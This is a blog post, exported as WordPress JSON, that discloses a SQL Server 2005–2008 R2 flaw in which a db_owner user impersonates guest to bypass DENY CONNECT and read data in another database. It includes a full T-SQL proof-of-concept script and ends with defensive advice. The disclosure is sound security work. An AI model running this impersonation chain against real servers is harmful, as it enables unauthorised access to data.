{"id":3603,"date":"2009-09-24T10:42:48","date_gmt":"2009-09-24T09:42:48","guid":{"rendered":"http:\/\/andreas-wolter.com\/?p=3603"},"modified":"2017-11-15T11:39:06","modified_gmt":"2017-11-15T10:39:06","slug":"security-issue-guest-guest-impersonation","status":"publish","type":"post","link":"https:\/\/andreas-wolter.com\/en\/security-issue-guest-guest-impersonation\/","title":{"rendered":"Security-issue: guest-guest impersonation"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-38c4ad3cd4e24ce7484e54326bb944a2\">\n#top .av-special-heading.av-av_heading-38c4ad3cd4e24ce7484e54326bb944a2{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-38c4ad3cd4e24ce7484e54326bb944a2 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-38c4ad3cd4e24ce7484e54326bb944a2 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-38c4ad3cd4e24ce7484e54326bb944a2 av-special-heading-h3 blockquote modern-quote  avia-builder-el-0  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag'  itemprop=\"headline\"  > Security-issue: guest-guest impersonation<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\r\n\r\n<section  class='av_textblock_section av-av_textblock-2de302bf1aa3cf4c9157dbe6f50ac7eb '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 \u2013 2008 R2, haven&#8217;t tested 2000) regarding the usage of the <strong>guest-account and impersonation<\/strong>.<\/p>\n<p>It also was <a href=\"http:\/\/www.sarpedonqualitylab.com\/sql-aktuelles.htm#04_Securing_SQL_Server_on_PASS_2009\" target=\"_blank\" rel=\"noopener\">presented by Ralf Dietrich and me<\/a> at the SQL Server <a href=\"http:\/\/summit2009.sqlpass.org\/Agenda\/ProgramSessions\/SecuringSQLServerfrominsideattacks.aspx\" target=\"_blank\" rel=\"noopener\">PASS Summit 2009<\/a> in Seattle where we informed Microsoft about it. &#8211; Thanks to Jack Richins from Microsoft for helping me find the root cause. (<a href=\"http:\/\/blogs.msdn.com\/b\/sqlsecurity\/archive\/2010\/09\/24\/guest-account-in-user-databases.aspx\" target=\"_blank\" rel=\"noopener\">MSDN-blog post<\/a>)<!--more--><\/p>\n<p>Unfortunately, a fix hasn\u2019t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename \u201cDenali\u201d. Here is the Connect-Item: <a href=\"https:\/\/connect.microsoft.com\/SQLServer\/feedback\/details\/509379\/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security\" target=\"_blank\" rel=\"noopener\">https:\/\/connect.microsoft.com\/SQLServer\/feedback\/details\/509379\/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security<\/a><\/p>\n<p>Recently I demonstrated this technique again at the <a href=\"http:\/\/sqlcon.net\/2010\/sessions?tid=1646#session-14231\" target=\"_blank\" rel=\"noopener\">SQLCon<\/a> in Mainz\/Germany and now feel that I should blog about this.<\/p>\n<p>This issue applies in a couple of scenarios, a more common of which I want to show here.<\/p>\n<p>One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database \u2013 on the same Server, where other databases exists, which may contain \u201cpublic\u201d data. But \u201cpublic\u201d maybe only for internal usage and not for external developers.<\/p>\n<p>This is accomplished the following way: the database, let\u2019s call it \u201cInternalPublicData\u201d will have the <em>guest<\/em> account enabled, and <em>guest<\/em> has permissions to see whatever is of interest for internal stuff.<\/p>\n<p>In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny <em>Connect<\/em>-permission to the database, to secure it even more.<\/p>\n<p>But this doesn\u2019t help either, as you will see.<\/p>\n<p>Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using <em>db_ddladmin<\/em> etc.)<\/p>\n<p>And now the trouble begins: The developer, let&#8217;s call him \u201cDev0\u201d cannot successfully connect to the InternalPublicData-database and act as <em>guest<\/em> there. But what he can do is the following: he can enable <em>guest<\/em> in his very own database.<\/p>\n<p>Doing that, he can impersonate his local <em>guest<\/em> and then, not being \u201cDev0\u201d any more, go to the InternalPublicData-database and successfully connect.<\/p>\n<p>At that stage, he already has all permissions that the remote <em>guest<\/em>-account already has directly attached to it. But that\u2019s not all. He can then do a second impersonate and gain role-memberships of the <em>guest<\/em> at the InternalPublicData-database!<\/p>\n<p>No &#8220;Deny&#8221; for Dev0 can prevent that!<\/p>\n<p>As a second option, he could, with permissions of creating a \u201cUser without Login\u201c, impersonate that User and use it to jump to other databases where guest-is active\u2026<\/p>\n<p>The following is a script to demonstrate:<\/p>\n<\/div><\/section>\r\n\r\n<section  class='av_textblock_section av-av_textblock-2de302bf1aa3cf4c9157dbe6f50ac7eb '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>&#8211;Login:<br \/>\nCREATE LOGIN Dev0<br \/>\nWITH PASSWORD = &#8216;Pa$$w0rd&#8217;<br \/>\nGO<\/p>\n<p>\/* setup DBs*\/<br \/>\ncreate database InternalPublicData;<br \/>\ncreate database DevelopmentDB;<br \/>\nGO<\/p>\n<p>&#8211;Target-DB<br \/>\nuse InternalPublicData;<br \/>\ngrant connect to guest;<\/p>\n<p>create table t1(c1 int)<br \/>\ninsert into t1 values(1)<\/p>\n<p>create table t2(c1 int)<br \/>\ninsert into t2 values(2)<\/p>\n<p>GRANT SELECT<br \/>\nON dbo.t1<br \/>\nTO guest\u00a0\u00a0\u00a0 &#8212; and only guest<\/p>\n<p>exec sp_addrolemember &#8216;db_datareader&#8217;, &#8216;guest&#8217;\u00a0\u00a0\u00a0 &#8212; just to point out the fact that these guest-accounts are actually different even further<\/p>\n<p>CREATE USER Dev0 FOR LOGIN Dev0\u00a0\u00a0\u00a0 &#8212; no memberships, so denied everything and not matching to guest automatically<\/p>\n<p>DENY CONNECT TO Dev0\u00a0\u00a0\u00a0 &#8212; to make SURE!<\/p>\n<p>&#8212; DB 2<br \/>\nuse DevelopmentDB;<\/p>\n<p>CREATE USER Dev0 FOR LOGIN Dev0<\/p>\n<p>EXEC sp_addrolemember N&#8217;db_owner&#8217;, N&#8217;Dev0&#8242;<br \/>\nGO<\/p>\n<p>GO<\/p>\n<p>\/* Setup finish *\/<\/p>\n<p>\/* Session as Dev0 *\/<\/p>\n<p>EXECUTE AS LOGIN = &#8216;Dev0&#8217;<\/p>\n<p>&#8212; Who and Where am I<br \/>\nSELECT CURRENT_USER AS CURRENT_USER_Name<br \/>\n, SYSTEM_USER AS SYSTEM_USER_Name<br \/>\n, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name<br \/>\n, DB_NAME() AS Current_Database<\/p>\n<p>use InternalPublicData;\u00a0\u00a0 \u00a0&#8212; not possible with Deny Connect<\/p>\n<p>SELECT * FROM t1\u00a0\u00a0\u00a0 &#8212; with no Deny Connect he gets denied here<\/p>\n<p>execute as user = &#8216;guest&#8217;;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; he can NOT do this at the remote DB (good so far)<\/p>\n<p>&#8212; Part One:<\/p>\n<p>&#8212; go back<br \/>\nUSE DevelopmentDB<\/p>\n<p>execute as user = &#8216;guest&#8217;;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; not active<\/p>\n<p>grant connect to guest;\u00a0\u00a0\u00a0 &#8212; but as a &#8220;Dev&#8221; with excessive permissions he can do what he wants<br \/>\nexec sp_addrolemember &#8216;db_datawriter&#8217;, &#8216;guest&#8217;\u00a0\u00a0\u00a0 &#8212; just so that one can differentiate the guest accounts easier<\/p>\n<p>execute as user = &#8216;guest&#8217;;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; now we are in the game<\/p>\n<p>&#8212; Who and Where am I<br \/>\nSELECT CURRENT_USER AS CURRENT_USER_Name<br \/>\n, USER_NAME()\u00a0\u00a0\u00a0 AS DBUser<br \/>\n, SYSTEM_USER AS SYSTEM_USER_Name<br \/>\n, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name<br \/>\n, DB_NAME() AS Current_Database<\/p>\n<p>select * from sys.user_token;\u00a0\u00a0\u00a0 &#8212; now he became guest in DevelopmentDB for real<\/p>\n<p>&#8212; End of Part One<\/p>\n<p>&#8212; Part Two: using guest for executing as guest<\/p>\n<p>USE InternalPublicData;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; we connected as guest &#8211; no Deny for Dev0 applying!!<\/p>\n<p>SELECT CURRENT_USER AS CURRENT_USER_Name<br \/>\n, USER_NAME()\u00a0\u00a0\u00a0 AS DBUser<br \/>\n, SYSTEM_USER AS SYSTEM_USER_Name<br \/>\n, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name<br \/>\n, DB_NAME() AS Current_Database<br \/>\nselect * from sys.user_token;\u00a0\u00a0\u00a0 &#8212; he became guest in the remote-DB<\/p>\n<p>SELECT * FROM dbo.t1\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; permissions at User(guest)-Level already working!<\/p>\n<p>SELECT * FROM dbo.t2\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; not working because permission for role not applying<\/p>\n<p>&#8212; BUT: switch to InternalPublicData guest explicitly<br \/>\nexecute as user = &#8216;guest&#8217;;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8211;NOW &#8220;Dev0&#8221; can do it in the Target-DB<\/p>\n<p>SELECT CURRENT_USER AS CURRENT_USER_Name<br \/>\n, USER_NAME()\u00a0\u00a0\u00a0 AS DBUser<br \/>\n, SYSTEM_USER AS SYSTEM_USER_Name<br \/>\n, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name<br \/>\n, DB_NAME() AS Current_Database<br \/>\nselect * from sys.user_token;\u00a0\u00a0\u00a0 &#8212; he became guest with group-membership in Target-DB<\/p>\n<p>SELECT * FROM dbo.t2\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212; can now also read data through role-membership<\/p>\n<p>&#8212; End of Part Two: using guest for executing as guest<br \/>\n\/* back off step by step *\/<\/p>\n<p>USE InternalPublicData<br \/>\nrevert;<\/p>\n<p>USE DevelopmentDB<br \/>\nrevert;<\/p>\n<p>revert;<\/p>\n<p>USE InternalPublicData<br \/>\nrevert;<\/p>\n<p>\/* Finished *\/<\/p>\n<p>USE master;<br \/>\nDROP DATABASE InternalPublicData;<br \/>\nDROP DATABASE DevelopmentDB;<br \/>\nDROP LOGIN Dev0<\/p>\n<\/div><\/section>\r\n\r\n<section  class='av_textblock_section av-av_textblock-2de302bf1aa3cf4c9157dbe6f50ac7eb '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>There is just one option to be sure that your system is safe from developers: <strong>don\u2019t mix production with development \u2013 not even on server-level!<\/strong><\/p>\n<p>This should be absolutely clear, but I\u2019ll repeat that, as long as I see mixed environments at customers&#8217; sites. Unfortunately, this is very common.<\/p>\n<p>And secondly: <strong>never use the guest account for data that is not really supposed for <u>everyone<\/u>.<\/strong><\/p>\n<\/div><\/section>\r\n\r\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-97c650ae075063b375f558a776c570f8\">\n#top .flex_column.av-av_one_full-97c650ae075063b375f558a776c570f8{\nmargin-top:40px;\nmargin-bottom:40px;\n}\n.flex_column.av-av_one_full-97c650ae075063b375f558a776c570f8{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n.responsive #top #wrap_all .flex_column.av-av_one_full-97c650ae075063b375f558a776c570f8{\nmargin-top:40px;\nmargin-bottom:40px;\n}\n<\/style>\n<div  class='flex_column av-av_one_full-97c650ae075063b375f558a776c570f8 av_one_full  avia-builder-el-4  el_after_av_textblock  el_before_av_hr  first flex_column_div av-zero-column-padding  column-top-margin'     ><section  class='av_textblock_section av-av_textblock-2de302bf1aa3cf4c9157dbe6f50ac7eb '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><div><\/div>\n<div><\/div>\n<\/div><\/section><\/div>\r\n\r\n<div  class='hr av-av_hr-0ff602b3e980a3377077ff3c1c834df6 hr-default  avia-builder-el-6  el_after_av_one_full  el_before_av_social_share '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\r\n\r\n<div  class='av-social-sharing-box av-av_social_share-00566587b7355f5f3aec989679437938 av-social-sharing-box-default  avia-builder-el-7  el_after_av_hr  el_before_av_hr  av-social-sharing-box-fullwidth'><div class=\"av-share-box\"><h5 class='av-share-link-description av-no-toc '>Eintrag teilen<\/h5><ul class=\"av-share-box-list noLightbox\"><li class='av-share-link av-social-link-facebook' ><a target=\"_blank\" aria-label=\"Share on Facebook\" href=\"https:\/\/www.facebook.com\/sharer.php?u=https:\/\/andreas-wolter.com\/en\/security-issue-guest-guest-impersonation\/&#038;t=Security-issue%3A%20guest-guest%20impersonation\" aria-hidden=\"false\" data-av_icon=\"\ue8f3\" data-av_iconfont=\"entypo-fontello\" title=\"\" data-avia-related-tooltip=\"Share on Facebook\" rel=\"noopener\"><span class='avia_hidden_link_text'>Share on Facebook<\/span><\/a><\/li><li class='av-share-link av-social-link-twitter' ><a target=\"_blank\" aria-label=\"Share on Twitter\" href=\"https:\/\/twitter.com\/share?text=Security-issue%3A%20guest-guest%20impersonation&#038;url=https:\/\/andreas-wolter.com\/en\/?p=3603\" aria-hidden=\"false\" data-av_icon=\"\ue8f1\" data-av_iconfont=\"entypo-fontello\" title=\"\" data-avia-related-tooltip=\"Share on Twitter\" rel=\"noopener\"><span class='avia_hidden_link_text'>Share on Twitter<\/span><\/a><\/li><li class='av-share-link av-social-link-linkedin' ><a target=\"_blank\" aria-label=\"Share on LinkedIn\" href=\"https:\/\/linkedin.com\/shareArticle?mini=true&#038;title=Security-issue%3A%20guest-guest%20impersonation&#038;url=https:\/\/andreas-wolter.com\/en\/security-issue-guest-guest-impersonation\/\" aria-hidden=\"false\" data-av_icon=\"\ue8fc\" data-av_iconfont=\"entypo-fontello\" title=\"\" data-avia-related-tooltip=\"Share on LinkedIn\" rel=\"noopener\"><span class='avia_hidden_link_text'>Share on LinkedIn<\/span><\/a><\/li><\/ul><\/div><\/div>\r\n\r\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-4474f20d2389e2e5ecf918a02da5132e\">\n#top .hr.hr-invisible.av-av_hr-4474f20d2389e2e5ecf918a02da5132e{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-4474f20d2389e2e5ecf918a02da5132e hr-invisible  avia-builder-el-8  el_after_av_social_share  el_before_av_comments_list '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\r\n\r\n<div  class='av-buildercomment av-av_comments_list-88ce68e426f11248fa394058a3de040f  av-blog-meta-author-disabled av-blog-meta-html-info-disabled'><\/div>","protected":false},"excerpt":{"rendered":"Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 \u2013 2008 R2, haven&#8217;t tested 2000) regarding the usage of the guest-account and impersonation. It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. &#8211; Thanks [&hellip;]","protected":false},"author":4,"featured_media":4334,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[97,57],"tags":[271,255,27,232],"class_list":["post-3603","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-conferences-en","category-security-en","tag-guest-account","tag-impersonation-en","tag-security-en","tag-sicherheit-en"],"_links":{"self":[{"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/posts\/3603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/comments?post=3603"}],"version-history":[{"count":4,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/posts\/3603\/revisions"}],"predecessor-version":[{"id":4382,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/posts\/3603\/revisions\/4382"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/media\/4334"}],"wp:attachment":[{"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/media?parent=3603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/categories?post=3603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/andreas-wolter.com\/en\/wp-json\/wp\/v2\/tags?post=3603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}